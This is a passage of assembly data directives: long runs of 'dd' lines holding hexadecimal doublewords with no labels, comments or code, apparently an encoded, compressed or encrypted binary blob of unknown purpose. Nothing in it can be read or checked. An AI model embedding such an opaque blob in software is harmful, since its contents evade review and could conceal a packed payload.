0C8BFF01Ah, 5C4D3886h, 122D955Ah, 5003A5C4h, 81D0033Ch dd 2E45B33Ah, 474A8419h, 2723092Dh, 4C72D9E9h, 77C88B24h dd 0BBC0CD17h, 0D63C4003h, 0EDE1C14Fh, 0FAF5BC32h, 24912C4h dd 27F80505h, 30CE19Ch, 4D208DD1h, 8ED4D2Eh, 9B11288h dd 0A6F26412h, 0C4831670h, 519B3104h, 1094208Bh, 0B0A98114h dd 59B56014h, 90C3C033h, 20F12415h, 522464BFh, 25BDE3BAh dd 7E427768h, 0D2FC7C55h, 2086B8Dh, 7DE4ED82h, 0A7C8D34Bh dd 0D5E20072h, 8D94B09Eh, 0F13A284h, 0F5F92786h, 0F70EBAC0h dd 2D076DF3h, 5D3C0A1Eh, 0D1DBB930h, 0BC017F0Ch, 0E5F14287h dd 6FE16643h, 11E3C425h, 5E587107h, 0C6D1F3B5h, 226F6433h dd 0A4D96891h, 0FB1D0811h, 0F9C3801Ch, 5A2A5B1Bh, 0CF0C5990h dd 383234FFh, 1480F9FBh, 0ABC381FEh, 6F79F30Bh, 375CB81Eh dd 0CD979CBBh, 0BF86495Eh, 22883A1h, 1904B32Dh, 455D890Fh dd 0E8EC00BFh, 0A7B25229h, 1E7C8400h, 35411ACBh, 32AE00BDh dd 60161C89h, 5903F857h, 6A4C281h, 4061DAD9h, 48C0E85Dh dd 194887AAh, 9CB0FA09h, 19444052h, 0B2960E9h, 719B0143h dd 2421161Dh, 0E6B70A40h, 4B31CEh, 36C38FC6h, 0B9668CEEh dd 0E9A1E809h, 7D6C297Dh, 4CC08651h, 0F8650Ch, 0CBB993B5h dd 9D520FAFh, 0D99A9E00h, 3B4599A8h, 75E833h, 0D211DF43h dd 0B0D5C9A6h, 9BE3F33h, 0FF210042h, 8B24D209h, 46001420h dd 1C93BA4Ch, 99464B5h, 5DA134E4h, 0B220D287h, 108ED8D2h dd 4930A2E8h, 0DE8D813Fh, 0F9B80708h, 559F900Bh, 0F430CAEFh dd 0B975183Eh, 7F66707Ch, 377402ABh, 6FA3DFD4h, 91819383h dd 0A5954100h, 8F100F73h, 66F4EED2h, 219D08FEh, 738D3700h dd 2F4871C0h, 5847031Eh, 6975FB20h, 0D995ECF8h, 8C7BCB28h dd 3BB1121h, 0BCF5697Ah, 59CB1001h, 92284AE9h, 0CCBBE0h dd 3B91C3E6h, 0DA5E528Bh, 89E1A600h, 6F9B065Fh, 0E89D00EEh dd 0CBCF7FF0h, 0D6005DA2h, 0D02B9EE2h, 0C14C50h, 0CDE6C772h dd 1328F5F8h, 129DB900h, 0C8ACAD7Ch, 0F2CAE664h, 4B970FB8h dd 74405019h, 9A09AF16h, 6D2A0300h, 0B9DDA31Ch, 2F9503DFh dd 1B7243B8h, 0F88756A8h, 0A5E9540Fh, 0E0403DDBh, 76D928D1h dd 6B580052h, 0BB14B950h, 9A001D2Eh, 0DDA15D83h, 756FE037h dd 667601D8h, 87B5FE58h, 66DF44Ah, 7170F776h, 74BB361Ch dd 2088DF0Eh, 820CECA6h, 2B62181Bh, 0F7F54884h, 0DE108F0Ch dd 3ABC2876h, 307A7A74h, 0A0110599h, 4B0BFEC6h, 86D9A31Bh dd 6B08CB31h, 7C0021A9h, 5435E0FEh, 939BD81Bh, 0C02AEA19h dd 0BBCFF5h, 0BF7DBD7Ch, 8AA83CC7h, 4D3F2301h, 0AF886B74h dd 675E0ACh, 897215CFh, 20685400h, 2BC4FC85h, 9F366B9h dd 34022186h, 0B6262050h, 7B564144h, 875B1982h, 8480B776h dd 0BF4C4B74h, 18D130A1h, 87201D6Ah, 881163FCh, 20523200h dd 0E0D1F44Ch, 8F6B711Fh, 178DBDC3h, 5800CCCAh, 0AAF499FCh dd 0E1634700h, 0DD7E67FFh, 416C001Bh, 0CAB3574Fh, 7F1F6B14h dd 0FE80B137h, 0CD6EB725h, 1C431DDCh, 0EAE2CC7h, 57008083h dd 0F7F16114h, 0BB6D6B00h, 58EC465Ch, 9B110078h, 0EA5373A6h dd 5A00852Ah, 8CE0C309h, 0F3FD79h, 0ED452315h, 0A409D14h dd 3C329Eh, 7D12449Fh, 39C6C725h, 0D0866BE0h, 20ADBCF3h dd 0B4371403h, 0E0AAFD7Ch, 61044E9Dh, 76999EF9h, 0EF6270D3h dd 0FC325106h, 7748F226h, 4B43B29h, 79107ABEh, 0D16B0617h dd 0F079BD1Dh, 26290FFDh, 8963486Dh, 9302030h, 215D2198h dd 803E1D26h, 9093C07Ah, 1CCDE3Bh, 0C1705B06h, 1FD1DB99h dd 80E65CD1h, 0F9FDFAC0h, 9F029A90h, 5FF8B066h, 463400C2h dd 267E608Ah, 8C4DDB39h, 0F9861AFCh, 0A7B320F8h, 0B0C03703h dd 10AC6FD8h, 109D3E10h, 99009C73h, 8DB9A4DDh, 0BE00CE36h dd 1613D6A3h, 3B2DF711h, 7D0B7Bh, 6E8DF3B7h, 0AE6ABD27h dd 540D8E01h, 7A01B87Ch, 0EEF2EFF0h, 0DFF174E9h, 8E670C28h dd 0C8796B19h, 0CF7B871Fh, 0CE909844h, 81880501h, 0B03180EBh dd 80A1620Ch, 1F39DFFCh, 72660CA6h, 217B5311h, 2E130F00h dd 7DA31144h, 2BB100ECh, 0ED9C86Ch, 391E1B36h, 6946BDC7h dd 1981AFh, 8DCF1E2Eh, 9064B8CDh, 0C4F851C0h, 4612FFh dd 3BFB351Fh, 99724AD7h, 0DF18100h, 516C68F9h, 4857601Bh dd 75EE3010h, 2041FF6Fh, 0B8E994A4h, 0DFF70ED5h, 1F809560h dd 0BFC57536h, 0F90121E2h, 0B2D53BC0h, 5881AA85h, 70EB7915h dd 0A8F0B3F3h, 800BCA7h, 6BB5FC73h, 0CDDED61Fh, 0E1E0C140h dd 367EC0Fh, 9E7D4E91h, 0DBA3FD81h, 0D042C7C1h, 600273Fh dd 0C8A3D7BBh, 2682D5E3h, 0D097034h, 18A1EAh, 9BFB238Dh dd 0EE77BD0Fh, 0EF610EE2h, 9F13019Ch, 2883BA6Ah, 9AFDD47Dh dd 0E60F6100h, 67C1B545h, 27053F2Bh, 0A3EE2E00h, 0F30CC4CDh dd 7CA47206h, 1930B506h dd 28B643FEh, 0C13E080Dh, 7C97BEAEh, 9D4DC86Dh, 7B78A460h dd 65378D3Dh, 2104D1E9h, 8C83631Ch, 0C06DD119h, 991F0010h dd 0E62AC6BDh, 99C0B46Bh, 0DB1A1777h, 0F8A33BD6h, 0A31075A9h dd 40DC445Ch, 739638B6h, 0D0011EB4h, 83C34728h, 20F1363Dh dd 0BF1B7D1Ch, 86DBBCC1h, 38805627h, 0FA82A979h, 627D65DEh dd 0EF40B1DEh, 7F6BCE3h, 42380EAEh, 5480CD6Ch, 76B9106Dh dd 926250C6h, 0AEDB0308h, 7770CFDDh, 3D6C8CE0h, 0C5187967h dd 0BF132600h, 9B603065h, 76C44F78h, 9A017900h, 12DC5817h dd 66402839h, 0FF9F22A0h, 33E0E0Ah, 6E03983Ch, 0D09DA837h dd 5C9A4CC5h, 0EC005998h, 0ACF8E661h, 8C186B8Dh, 7794436h dd 0F52819B7h, 176449EDh, 62F8ECD0h, 3025FE7Ch, 0FAF17A63h dd 0A2077156h, 8978A327h, 0B8C43371h, 0A07BD2FCh, 38C58B4h dd 3883509Ch, 0F800203Ah, 45A54B5Ah, 0C8BC47h, 7CE34A57h dd 0E86C9596h, 12D4DC09h, 254420A4h, 17A660Eh, 3E5A679Ch dd 0F8C29B69h, 7C003CACh, 3DBDE110h, 60E06D90h, 49D810AAh dd 0C52A91D5h, 0CD00B8B6h, 3CF3AE20h, 0A8662887h, 75A47FCh dd 9998640h, 0E60EC1CFh, 5467DCA0h, 24D8E0Bh, 58150AAEh dd 2C783832h, 7D0762D0h, 3DF6B66Fh, 8E775A11h, 1E76A960h dd 284DE6A9h, 0FD3F0AA8h, 849152h, 22B14A73h, 0D10088ACh dd 480F1ACEh, 0E8C6F4h, 775B7863h, 0FA1CF7CCh, 0A83BAB7Eh dd 0E7CF8075h, 1B22B098h, 726F06B3h, 489938AFh, 9CB13E00h dd 0E7A7BFF2h, 0C8750096h, 7C6040D7h, 31019203h, 0CB1172DCh dd 38805FD3h, 44798DBAh, 8C00E5C4h, 4F1039BFh, 0C0F5B89Eh dd 0E242251h, 80F991EEh, 29311C20h, 787BD7ABh, 197803BCh dd 9BF5A2F6h, 8951311Eh, 4B071047h, 3370CD57h, 9B37FEh dd 86FDB916h, 7EFF5A41h, 0A0773A33h, 581FD498h, 5856C982h dd 3A006374h, 18BD8102h, 0C90E70Ah, 0B4C3F5F7h, 0BB30FF68h dd 80FE3188h, 7A4C058Ch, 40C37108h, 6E57C7ACh, 7F01E68Eh dd 0FDF697BCh, 0CC30D94Dh, 0B480032Bh, 0AF71AB7Bh, 0AC8F3000h dd 70F836D6h, 6F260006h, 9B31E098h, 41001604h, 9367E62Ch dd 0EA13037h, 7FD81D32h, 63D06E83h, 2AE892DBh, 0FC19F752h dd 8F085A02h, 6FB82180h, 4101ED92h, 8C1D0C00h, 1971B418h dd 674C00CBh, 4D734842h, 30C01F4Bh, 0BF2F1283h, 9FA5039Dh dd 17AD7F1Ch, 6DF60818h, 445920h, 6215FBBFh, 0D83699F0h dd 0A7133703h, 0A85FDA0Ch, 76C5A54h, 3D7F86C7h, 85F380DDh dd 0F90FE732h, 181FF0F8h, 106C6E88h, 1420291h, 83FC5286h dd 9B70DB32h, 0FA8C07C3h, 779106h, 0CF691859h, 0D26A9700h dd 8913C995h, 4E8302FAh, 8AC82086h, 223209Ch, 0D0B50105h dd 8051BAA4h, 330E32D0h, 12D85338h, 0E1E5E54h, 6F8C5FCFh dd 4B481121h, 0C4A90075h, 0BF25B9F8h, 0C93330CCh, 5604A5B8h dd 7F9AA61h, 93F4D9E6h, 989602F3h, 17D1C37Eh, 83C6D8A0h dd 0FF6F3B6Fh, 0D0F00058h, 67949DFh, 7151FE96h, 0D6008BEh dd 0DFC83F21h, 0FFA90555h, 4F86CFF0h, 906E39Ch, 0A407A073h dd 64DD67A3h, 0B514B4EAh, 0D0B88284h, 357490CEh, 21D8EE38h dd 8B915FC4h, 384D1700h, 8139C21Fh, 0E7DDE10Eh, 58F5CC0Eh dd 1B6E08F0h, 0C9111C83h, 12383687h, 88314CD8h, 0FF4E3011h dd 0D52976D0h, 17DD2500h, 6569F37Ch, 8260005h, 0DC95851Fh dd 0A4A090E9h, 0A57852D3h, 10897131h, 0A441427Dh, 6C08820Bh dd 11DFFC8Ch, 88CE7948h, 0C93E80F7h, 6BEA05DFh, 3072FB00h dd 71CE1FD3h, 55E4019Bh, 0DCC3327Eh, 793183FAh, 388913Dh dd 28F04DF8h, 0D7A038A4h, 12459993h, 30D38402h, 66113848h dd 85883CD8h, 38202E80h, 0EEDA59h, 89BE945Ch, 75D80278h dd 682FDD24h, 0A4A5D101h, 282592FEh, 0F05746FCh, 1880A079h dd 0D678078h, 0A06D3532h, 4DD70038h, 14247D5Eh, 1424E42Eh dd 50874411h, 4A2AA292h, 0C5106431h, 9A1E9268h, 7830122Fh dd 56B8E0h, 1ACA9D34h, 0FEEBAD70h, 0D2C34B05h, 0C422834Fh dd 0DF963069h, 26794B08h, 40F564FAh, 43DFCE3Dh, 1A600082h dd 941BC2D6h, 2A0939ACh, 0E2D499h, 0DAB3F370h, 3DC305B7h dd 0DEB9D25h, 7E087CCh, 68840958h, 95DB010Fh, 0A0411C05h dd 5434AC4Ah, 5A9E13F3h, 0C81EDFh, 71142D82h, 89019B17h dd 0D44163F2h, 54C11108h, 0FA99F841h, 2FA33300h, 8A590E1Bh dd 41B3E210h, 598034B8h, 24936B2h, 1503B106h, 7D591C79h dd 0F997C91h, 7CB073BDh, 9468F3C0h, 33282C38h, 79ECE031h dd 7D0A3091h, 9D58E080h, 0F4918432h, 42186471h, 8ADCD312h dd 55391004h, 0CECC0812h, 201A5080h, 6CFEE336h, 4780D1F5h dd 0CB4FF2Ch, 6E1C1A02h, 86744190h, 5167D017h, 0A706F03Ch dd 0DC389DB2h, 85D930C9h, 580D1781h, 0F3EFEC1Fh, 0B082F104h dd 8288B4CEh, 65DA5BC0h, 0E8185055h, 8B990A06h, 4F45876h dd 42DD1ADh, 0C08E7DACh, 0C8C08188h, 4CFBA83Fh, 7826D604h dd 405BC430h, 0C6A72541h, 18A37449h, 287A91D4h, 0F2019E96h dd 0B2A24C71h, 9441D82Bh, 0B833D0EEh, 0E03086E2h, 43091D0Bh dd 40FB923Ah, 42AEDD94h, 0EA3A69F0h, 0B4CB008Ch, 34D6C02h dd 6F542646h, 18D25144h, 35380849h, 8AC424D8h, 38413340h dd 0DF000C72h, 5CE5DE54h, 7DD8A91Ah, 9CB2ADh, 60C9736Ch dd 0FBEBAE1Ch, 0D890C850h, 0E6C55A89h, 243D67E8h, 6264849Dh dd 884318FCh, 2044CCBCh, 9234048Ch, 626A2A36h, 6CB92090h dd 7948F492h, 78E3019Ch, 4C67063Ah, 0CBFA8889h, 828F4082h dd 6AA0803Dh, 0D025B78Bh, 9A774800h, 0F03B75D1h, 33871268h dd 3C9004F4h, 8B440E73h, 4C90B14Ah, 5DA50070h, 0F78890E7h dd 0BF415880h, 393D0FD5h, 4C85F871h, 209C936Ah, 0C165DBD0h dd 2A58204Dh, 4F463474h, 97BF4502h, 25312FA5h, 425F2180h dd 0D9D248BFh, 44050712h, 0D999C00h, 7960FA0Eh, 90F14CA9h dd 3490F500h, 4A1ABED7h, 0F412F69h, 12AB080Ch, 24E85FA8h dd 72040878h, 0D8C0519Fh, 2580478Bh, 2BA9071Eh, 0F323FD12h dd 0D10059C5h, 0B49D5CD4h, 0E0BB7Ah, 9E35280Ah, 0C327AC41h dd 6553FE00h, 1C13F10Dh, 0F28A0085h, 524B254Dh, 0BE30157Dh dd 0AF83B08Ch, 1D7814D9h, 9E00D156h, 48EAFC96h, 35186561h dd 41401291h, 0C5B630DCh, 9F3C8758h, 0C2FD3833h, 3D359046h dd 489060h, 87C9ACC3h, 0E57C5DF2h, 0D825E1C0h, 14060CBAh dd 90230389h, 5ACB1479h, 0AC828C1Eh, 0D30094B9h, 5D3F06B4h dd 19064CE2h, 606F2D0Eh, 505E720Ch, 0FD4A5982h, 0B2E74180h dd 0DA753725h, 9857A498h, 88FF01FCh, 0AFF0F8FAh, 6DE8E8D2h dd 0AC9F1E81h, 0D0683041h, 1D38F52Fh, 0A6EE044Fh, 79017FFCh dd 0A682A905h, 0E80F8080h, 0D353C073h, 0C4B374Fh, 0E6D3D7Fh dd 0E23E3220h, 0AB6F940Bh, 6674E720h, 6BC1E762h, 41C6481h dd 0B8AA4620h, 5AC2A74h, 0A3512484h, 9D411158h, 6009BF97h dd 1158317Fh, 0BF206D10h, 86337103h, 0E8C5EBE9h, 0ADD2EA8h dd 0F9FD65D7h, 8908388Ch, 0B4020C84h, 95483A64h, 6DF78834h dd 2B7DA960h, 150803B9h, 0C14A6927h, 3FAD210Eh, 2F5520DCh dd 0AA60F2h, 0F9700E33h, 23F595D4h, 0CC16CC90h, 0FC04527Ah dd 851F6FFCh, 108FA60Ch, 4471B480h, 7C2459F5h, 958E0493h dd 630E988h, 10397008h, 125D6DDCh, 0C0234B20h, 0A026DB6Ah dd 67CC46h, 3593CA0h dd 0F2AE3013h, 1FA4B403h, 274A7Ah, 308AF31h, 89B52264h dd 9A53DB00h, 0C8A734B6h, 26489836h, 11B81C57h, 92518047h dd 8C622A35h, 0BE5544h, 82CA9269h, 2195DA4Ah, 7C801450h dd 3062D5Ch, 5604A47Dh, 48C032E9h, 53304160h, 2A331392h dd 1408BB2h, 0AD926BD4h, 0C053BE4Ah, 0E0F5BB68h, 8F9676h dd 121F9DBAh, 98BF4E5h, 0BF88920Eh, 38A90733h, 0ED0401B9h dd 3820E690h, 46048C20h, 17A5BABFh, 72202962h, 1204BF23h dd 8BF8D9C8h, 0C08FC888h, 0E7F18A0Ah, 3688FD64h, 54410B4h dd 0CAB2CCCh, 421C806Fh, 4938399Ah, 4F56005Ah, 8CA8D096h dd 9D2500FEh, 0C2AC2A28h, 189A7DD1h, 9D397F3Eh, 503F95D5h dd 9918AAB8h, 0EE68FBB0h, 744A5829h, 6702DF22h, 3DEF2523h dd 0B9C84888h, 42A40B1Dh, 84DA7Fh, 38206795h, 9C6CD854h dd 4A145868h, 12553800h, 361A9B27h, 3EE70E56h, 0E606487Ch dd 195CA0CDh, 8C84E82Ch, 0E4820700h, 27E35502h, 5EA70BB8h dd 8AB2C7Dh, 5AC2AC01h, 0A0B0F402h, 0C4410D26h, 0A0E53642h dd 25E230B0h, 0CCF600A2h, 8D87673Dh, 77705CE8h, 0A8CDCB09h dd 4694447Fh, 926A021Eh, 315A2A48h, 0C8C3137Bh, 1D52992h dd 1CEDE62h, 85FE7FF1h, 0A0D16980h, 9123282Bh, 0C061880Fh dd 246BDEF1h, 947F3059h, 40A9E821h, 0D35CC4B2h, 0B022358h dd 5C0BDFBBh, 5816540Bh, 0DFD31007h, 0E010A84Fh, 1A53B55h dd 82E67753h, 80E38499h, 12923F58h, 7FAF75Ch, 263D4106h dd 6DA6C05Fh, 7004AFFFh, 57C4FE2Fh, 990758C0h, 202100B1h dd 0D653FB83h, 7E00BBD1h, 0DEAE455h, 0C13AE389h, 13623F40h dd 0D058A665h, 85D9D100h, 246472CFh, 5EC84842h, 806DF421h dd 8A975644h, 88110D46h, 0A3008FD9h, 1D4F474Bh, 89003751h dd 6D1E491h, 0F11118h, 82695B78h, 92A73A67h, 7C7E28B8h dd 16F03880h, 4BCE6A3h, 85279D24h, 0C83CCBA8h, 900BC091h dd 8000BED5h, 0DFEECA5Fh, 50D3DB17h, 125485BDh, 8E2E2D6Ch dd 0C0F7883Ch, 140BB49Ch, 77B58A00h, 6A96D35Bh, 0F16026C9h dd 166F6090h, 64EE699Eh, 6156F007h, 12146676h, 4D827780h dd 0FD7D0996h, 4893892Eh, 0D9BB01E8h, 1E31950Fh, 88AC810Eh dd 1021E04Ch, 6FBCD838h, 1F70008Ch, 85E495D1h, 8A24FBDDh dd 0DB1CDC3Ch, 0A883DFC3h, 461EEC48h, 9007A57Dh, 0CE159514h dd 4330590h, 20C8563Eh, 0B6200C7h, 4FB41D8Ah, 7B006807h dd 23DFE753h, 0B6544Ah, 88F71091h, 767482C4h, 4ED81700h dd 0BF7C52D7h, 8BD14DFh, 0C1FE04B8h, 2CE1416Eh, 0A3630847h dd 7200053h, 0E5345CFAh, 3D009E54h, 0D7505EF4h, 77F298BDh dd 0F6003E1h, 5BEF0737h, 4622921h, 4952FA8h, 915E6322h dd 8562159h, 0F6882EB9h, 0C5EA8862h, 84365A88h, 0A94F789h dd 0D408281Ah, 294E9861h, 68EEA019h, 0B746A51Ch, 9E64C280h dd 1FF70BDEh, 0D2923606h, 735500EFh, 0A19FBDE3h, 3A59A600h dd 4776230Dh, 0C8EF00E8h, 0AC94D264h, 0FC07072Bh, 0F6B8E32Eh dd 0E73847BFh, 6B95606Eh, 7C224297h, 689A00C4h, 665B7D02h dd 0F38B750h, 2A0E7352h, 8FBAF3A7h, 0C324A0CCh, 0C0A998h dd 5B436EBDh, 0AFC168BEh, 10856D00h, 8FE4312Dh, 0DBA328C4h dd 0FA3C00A1h, 3E406116h, 6800703Ah, 0F7C60C43h, 0A8C9A919h dd 7F80D4E4h, 76D70D2h, 0B9640AA8h, 0BBC6D0BDh, 35004A5Ah dd 0D77A076h, 707A64Ch, 0D7AD23B2h, 0C78BA398h, 3EC233F8h dd 6CE16024h, 5CAB0581h, 16601314h, 3C7CA018h, 9E901EBh dd 0A86ED25Eh, 0F9E370D1h, 910B4800h, 2BC4DAA9h, 77D80001h dd 3B31D70Fh, 0AA00F315h, 5835EB04h, 2400C30h, 0D699457Eh dd 360B125h, 0ECF996F9h, 6D000926h, 8A4DADE1h, 0F415BEh dd 0C1771BD8h, 69D2A364h, 40A4AB00h, 6F66DBF7h, 0AF727Ah dd 0B1B33445h, 874CA0F4h, 9600D171h, 0CACFC8D5h, 392FA09h dd 7FF3C438h, 40CBF2A5h, 0CC288EC8h, 4170AE1Ch, 0F3D5B7C0h dd 6E561Eh, 607A3E05h, 0A93FA2D6h, 8CBCC128h, 27D7E900h dd 8676755Bh, 0D4120CBBh, 168C4E6Eh, 84622B00h, 2C59DE7Eh dd 6F4D00F4h, 0AE95171h, 0B00331Dh, 0F87F7897h, 1267E334h dd 4037FB9Ch, 59E20830h, 0E51D3A94h, 47803418h, 0ABF8D77Bh dd 2BD30082h, 66C96730h, 1014A49Bh, 59C6CFFh, 62F1F6C0h dd 24AAFC68h, 38CB44h, 0BC30D681h, 20907AF8h, 488797Ah dd 6DC30411h, 804BBFBEh, 0F02F75BAh, 81EB5907h, 0CF3096A4h dd 3EC2F38Ch, 0AE1DDB03h, 0C890CF48h, 0CE9BD602h, 6CD1D880h dd 4F48F92Ah, 4C2212C3h, 230C8C00h, 0C04EB560h, 0F28B91B0h dd 18390E61h, 175180B6h, 6AD6D2EDh, 0A89D00D9h, 5336896Ch dd 0A600C87Bh, 56F7B061h, 0DF18FD26h, 0AF1EC0D8h, 0AB8D57C5h dd 7E7B0400h, 7590655Eh, 0D95500A0h, 0E506ED9Ah, 0C407EB7Ah dd 28765751h, 221FE4A0h, 0B88A0010h, 68F8DA13h, 0FD00957Ah dd 0F297143Fh, 0FBD3F9h, 0CE5B5C47h, 211DE7A2h, 13A0B500h dd 0B619618Ah, 82150028h, 0A2D22A75h, 7D01DC1Ah, 0AEABE20Dh dd 60FAB409h, 75FCA4h, 1B61DF91h, 0E2C6782Ch, 0B0220302h dd 0C0C8998Ah, 52F644h, 0E1BF25F7h, 0CABB78ABh, 9564DE00h dd 0F6C7412Ah, 432D000Ah, 0B5101C8Eh, 6E00A6D8h, 4BDD6CB1h dd 0E5C3E54h, 0FC9E5FF0h, 637D2DA0h, 0EC09DB25h, 806816F7h dd 0B93B7B53h, 4B6102C6h, 0C1B440C9h, 836C5868h, 64385Ch dd 0CA37DDF2h, 346197Dh, 31AFD232h, 0DEF8A385h, 8100904Bh dd 6096F3A6h, 0E8CA9D44h, 1D7009Ch, 0E5F9AEFh, 3E16B972h dd 244086A5h, 0B6FB4FFCh, 9028C07Ch, 14B0CFABh, 20C7D531h dd 5822A9C5h, 0CC1C10h, 0D46A596Eh, 87B44Bh, 7438BF45h dd 35ED9DA2h, 8030123Dh, 774F5722h, 0BCB354h, 37BBFC44h dd 0F50FFAA3h, 92008B79h, 645AE09Ah, 42E4306h, 4E32275Fh dd 2FCC0E9h, 0A70069A4h, 0AC868903h, 0D87BC1h, 2765719Bh dd 63E0F344h, 0BF19E426h, 93A60B00h, 94CCF0h, 0F1AC72E8h dd 0E41A2992h, 0B3785E03h, 0A3C225h, 2C547E19h, 0ECD29399h dd 9D8A80Eh, 53EA003Eh, 0FE8A47C6h, 0D7AF0005h, 34C825E7h dd 754C1DB0h, 71060079h, 85DEFCFEh, 22864C44h, 0F0B83F00h dd 0B93C117h, 81CB9C1Dh, 16DEB0D8h, 0E72B00DDh, 4441BD7h dd 1200D6A3h, 65063B20h, 1AFF33h, 0DA0DEE35h, 92F61893h dd 3B005BF8h, 0C2B18919h, 0D46CEFh, 64465704h, 798D2F47h dd 712AA700h, 0F092E94Ah, 726C0193h, 62A3419Eh, 0BE062033h dd 12F29A00h, 0B38C5FB6h, 8D6A2697h, 4F1500D9h, 5EF85059h dd 289A7F01h, 0F163143Ch, 0C872CCh, 0BC99C58h, 96EA15BCh dd 5E1AC101h, 1F3456FFh, 0CB1C20h, 29C64E1Bh, 5752FFAh dd 0BE46001h, 0E9F33E6Ch, 5D02830h, 40FB497h, 0E4A40084h dd 0EE40C1A2h, 8E274E00h, 2F0283D0h, 9B110076h, 8B495EB0h dd 9FFB58F3h, 15D6C7FCh, 0C479D700h, 4C405EA2h, 88018434h dd 6C44C510h, 0EC4C352Dh, 8D00FDACh, 72DD4A29h, 0E6ECEA2Fh dd 2E0100A3h, 3AAB38FAh, 36261ADBh, 0D300D8BDh, 99702CD6h dd 88F20033h, 23D7A952h, 3A486627h, 0C9ED00C4h, 0E409D3FFh dd 5B58BFE5h, 0DC293B00h, 0F59F50B2h, 4B1E0005h, 0DEFD1C6Fh dd 0EE00BBBEh, 0C54D8DFCh, 6246E8h, 24FB6788h, 4F99DA5Eh dd 0B873Dh, 9AA8049Eh, 0FE3A079h, 9685FF26h, 203A2281h dd 57AF0E5h, 5A09C800h dd 0A94AE3ADh, 80B000B7h, 0A6DD3AB6h, 6CE2CCA3h, 18FACB1Ch dd 0AA6B837Dh, 80602021h, 224DFFh, 64AEBB5h, 0A87E3DD0h dd 0A9BA6301h, 33C83946h, 0D72CA440h, 0D45700C1h, 526C6ACCh dd 3A160FECh, 80520532h, 0B3E1D800h, 17915514h, 20F7DA9Ah dd 128338D0h, 48DB5E07h, 0E31E5A9h, 0A44050ECh, 691A877h dd 0F6A0E33Fh, 9605D48Ch, 4821926Eh, 60E72AC0h, 5F130018h dd 4BE9ED9Ch, 614C79BCh, 0EE850178h, 1FC371BBh, 670A9E60h dd 0DEDD1862h, 0C6893480h, 0F40E21B2h, 0E065EE4Eh, 0B493C953h dd 0C4F7566h, 4C9083F9h, 350332A0h, 8BDEABAFh, 0F03DF81Eh dd 90A80085h, 0B952ACCBh, 21002F19h, 67B12CD8h, 0FED1D2h dd 0E0C3D5E4h, 0DBC9836h, 78DFC13Bh, 450BF213h, 0D02C1803h dd 6594D058h, 0B05A3A87h, 12048589h, 0AB1B9000h, 7A613AC5h dd 0EF582576h, 77CE1C64h, 839944E2h, 4C107F58h, 73AB0000h dd 9EDF3011h, 41FF0E77h, 2DC057B3h, 61C0E842h, 63489090h dd 901A24A9h, 854E5A00h, 18DEA24h, 0FE0522B7h, 0CC82DCDBh dd 5009E313h, 80BE09BFh, 0DEA08EE4h, 7CA90029h, 42F9CF83h dd 2039AACh, 690A4E78h, 8066BA1Ch, 26D6B4B4h, 5043E8EEh dd 29D2B2h, 0C1860450h, 0EDA85ABFh, 0E9D04900h, 6191E102h dd 1070009Bh, 45F2C30Fh, 0C01C2DBBh, 3E814A04h, 740A3499h dd 9697EE8h, 0B0DA8614h, 6DCFE780h, 2705F1DBh, 0F0E5816h dd 680A60C0h, 0CA661C56h, 88680D1h, 3E2D617Eh, 5AD0D40Dh dd 71ECD093h, 3AA79049h, 8100584Ah, 0BEA68A46h, 2003E25h dd 43F6FAA7h, 0FE40743Fh, 2C080E63h, 2260F4F0h, 91E22347h dd 29B67A03h, 0D0EED95Fh, 72FB85h, 8E0DDD28h, 387EEA44h dd 0CC1D2200h, 6AB081ADh, 0E9CB284h, 0C3DA55BFh, 0CAF9D60h dd 0DC1CC9E6h, 61C6B6ADh, 728F6F9h, 0FEDBA6A8h, 6D97F0AFh dd 0D9708289h, 0D2884700h, 53A7FC1h, 0FEA23069h, 0CCDD07C0h dd 49B94B00h, 2876424h, 88D50558h, 0FEDC5C1Ch, 0E8FA2080h dd 0B490ADh, 265495A7h, 0D17CA229h, 7301500h, 0F486EDAh dd 1F8F065h, 0AB1DDE62h, 0C82CD28Fh, 38038A4Dh, 2DB620C3h dd 1BBEB1FBh, 24821981h, 0F02CC559h, 0C3EE0230h, 2F33C200h dd 5807CE9Ch, 0D54A0398h, 0BB9E5B0Ah, 414B1E8h, 0EE02C600h dd 3FABA98Eh, 9801001Ch, 32247E79h, 74050D03h, 5BEA6144h dd 840790C4h, 3740A3DFh, 499D28Ch, 0D9191481h, 0F9648009h dd 0FB07647Bh, 1E0A5497h, 0BA9B4AA3h, 43A8504Ch, 9E7E1F4Dh dd 689B3DC0h, 362B92h, 0F39772D9h, 9A3CE448h, 8322EA00h dd 0A693B381h, 57A90084h, 0BC5CB4CDh, 30066CDEh, 2CC63DAFh dd 0E720098h, 8A5B3EC7h, 0CF009A48h, 5E101F61h, 45CE4Bh dd 0A26B9DF8h, 96245BA9h, 6100D273h, 16126685h, 819A5Ch dd 39DE378h, 2CB95A0Ch, 0B8CF48h, 92C97C52h, 983A145Eh dd 30DD38C0h, 0F8F49001h, 0CCCD4319h, 5801C5AFh, 5C98BB7Bh dd 343017DEh, 98F3FC9Ch, 29551298h, 0D3D440B3h, 94F0EAD1h dd 0BFC0590Fh, 49D700B8h, 798A62h, 0FDFE8A3h, 7886B4B0h dd 9FFD0200h, 0B342B685h, 0F44000E9h, 986D3F74h, 905BCB8Dh dd 0F11E2FBCh, 1B99C018h, 25DF3C56h, 0A0F984CFh, 52A66EECh dd 0C44400D1h, 55314233h, 68008939h, 0B6D3A270h, 0E4273D2Ah dd 0CB37009Fh, 9213C43h, 7090C3E3h, 790BD639h, 76AE0107h dd 0A090DF96h, 0C03B45h, 0CC84B72Ah, 6CFCB86Eh, 8DC7EA00h dd 19F86FAh, 0EFDEC0Ah, 56C49088h, 0FC00F8B4h, 0E33B687h dd 4B3FF9D3h, 31AB89F3h, 51168015h, 0E40B37EAh, 1C3F2E0h dd 0C5A49C64h, 387FCBF9h, 36160094h, 896C5699h, 2F863C76h dd 0B5B4E280h, 3866C217h, 8099DB25h, 2762F188h, 30C338C0h dd 0FFD29E92h, 5A18D000h, 2DE884h, 0A78D0FF0h, 11FCAC7Fh dd 0B3D517Bh, 4A0A06ECh, 4849ADh, 57FA08A2h, 0E9DA16B9h dd 0B004778h, 4358B36Dh, 2C2AFBh, 0F0A17B15h, 0E4427DBDh dd 27C34001h, 0E10A07ABh, 0FC91D4h, 7CA77F43h, 0A9085817h dd 0B4A1B301h, 0E001A251h, 0F8C9D0h, 0C2F9FF8Dh, 0E4C3EF3h dd 4C090826h, 0DBB93503h, 0A06CD1D0h, 8000FC32h, 0EC8BDAA2h dd 1A905B6Fh, 3F8EC900h, 2B831789h, 68870061h, 